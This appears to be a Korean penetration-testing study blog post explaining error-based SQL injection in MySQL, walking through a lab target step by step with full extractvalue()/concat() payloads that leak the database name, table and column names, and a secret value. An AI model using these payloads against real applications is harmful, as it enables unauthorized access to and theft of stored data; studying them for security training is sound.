본문 바로가기

모의해킹 스터디/Week7

Error Based SQL Injection

Error Based SQL Injection

SQL 질의 결과 에러가 출력될 때 사용되는 SQL Injection 공격 기법

 

SQL Query를 작동시켰을 때, 얻을 수 있는 에러는 크게 두 가지가 있다.

  • 문법 에러
  • 로직 에러

문법 에러의 경우, SQL Query에 문법상의 오류가 존재하여 에러가 뜬 것이기에 공격 조건으로 사용할 수 없다.

따라서 로직 에러를 이용하여 Error Based SQL Injection을 한다.


Error Based SQL Injection에 사용 되는 명령어는 2가지가 존재한다.

  • extractvalue()
  • concat()

Extractvalue()

extractvalue() 명령어에는 각각 (xml 데이터, xml 표현식)이 들어간다. 이때, 적절한 xpath 표현식이 들어오지 않으면 에러를 출력한다.

 

예를 들어 extractvalue('1',':normaltic')와 같이, xml 표현식 앞쪽에 :(colon)을 붙일 경우 표현식에서 오류가 발생하기 때문에 이를 이용하여 SQL Injection 공격을 진행할 수 있다.

 

Concat()

concat()은 두 데이터를 문자 그대로 결합해주는 명령어이다.

 

예시) concat('1', '2') => 12

 

 

위의 두 명령어를 합쳐서 Error Based SQL Injection을 실행하려면,

extractvalue('1', concat(0x3a, (select 'normaltic')))

이와 같이 작성할 수 있다.

(0x3a는 16진수로 표현하였을 때 58에 해당하며, 아스키코드로 변환하면 : 를 의미함)

 

'normaltic' 부분을 수정하여 원하는 데이터를 얻을 수 있다.


Error Based SQL Injection 과정

  1.  SQL Injection Point  찾기
  2.  에러 출력
  3.  공격 format 만들기
  4.  DB 이름 출력
  5.  테이블 이름 출력
  6.  컬럼 이름 출력
  7.  데이터 추출

Union SQL Injection과 비슷한 과정을 보이며, union 공격도 마찬가지로 format을 만드는 과정이 존재하기에 error 을 다룬다는 점에서 차이가 있다.

 

1. SQL Injection Point 찾기

먼저 입력 데이터에 따라 값이 변하는 지점을 확인한다.

 

 

입력 값에 따라 결과가 바뀌는 것을 확인하였다.

쿼리는 아이디 중복 체크를 하는 부분이기 때문에 아래와 같을 것으로 생각하였다.

SELECT * FROM 테이블 WHERE id='____';

 

2. 에러 출력

 

위에서 언급한 문법 에러와 로직 에러 중에서 로직 에러를 확인하는 과정이다.

 

1번의 2번째 이미지에서 문법에러도 나타났지만 이는 SQL Injection에 이용되는 에러가 아니기 때문에 로직 에러가 나타나는 경우만 확인을 한다.

 

3. 공격 Format 만들기

test' and extractvalue('1', concat(0x3a, (______))) and '1' = '1

 

로직 에러가 나타나는 것을 확인하였기 때문에, extractvalue(), concat() 명령어를 이용하여 공격 Format을 만든다.

 

* 공격 Format을 만드는 이유 : 입력 하기에도 용이하며, 괄호 실수를 방지하기 위함

 

4. DB 이름 출력

test' and extractvalue('1', concat(0x3a, (select database()))) and '1' = '1

 

 

xml 표현식에 로직 에러를 발생시키고 :(colon)과 DB명을 concat 하여 DB명이 출력되도록 작성한다.

 

 

5. 테이블 이름 출력

 

test' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='segfault_sql' limit 2,1))) and '1' = '1

 

System 테이블을 조회하여 얻은 테이블 명을 colon과 concat하여 에러로 출력되도록 작성한다.

그리고 limit 명령어를 이용하여 여러 테이블 명을 출력할 수 있다.

 

 

6. 컬럼 이름 출력

test' and extractvalue('1',concat(0x3a, (select column_name from information_schema.columns where table_name='secret' limit 1,1))) and '1' = '1

 

5번 과정과 마찬가지로 System 테이블을 조회하여 얻은 컬럼 명을 colon과 concat하여 로직 에러로 출력한다.

 

 

7. 데이터 추출

test' and extractvalue('1',concat(0x3a, (select secret from secret))) and '1' = '1

 

5번 과정과 6번 과정에서 얻은 테이블 명과 칼럼 명을 이용하여 최종적으로 데이터를 추출한다.

 

 

 

'모의해킹 스터디 > Week7' 카테고리의 다른 글

Blind SQL Injection  (0) 2024.06.18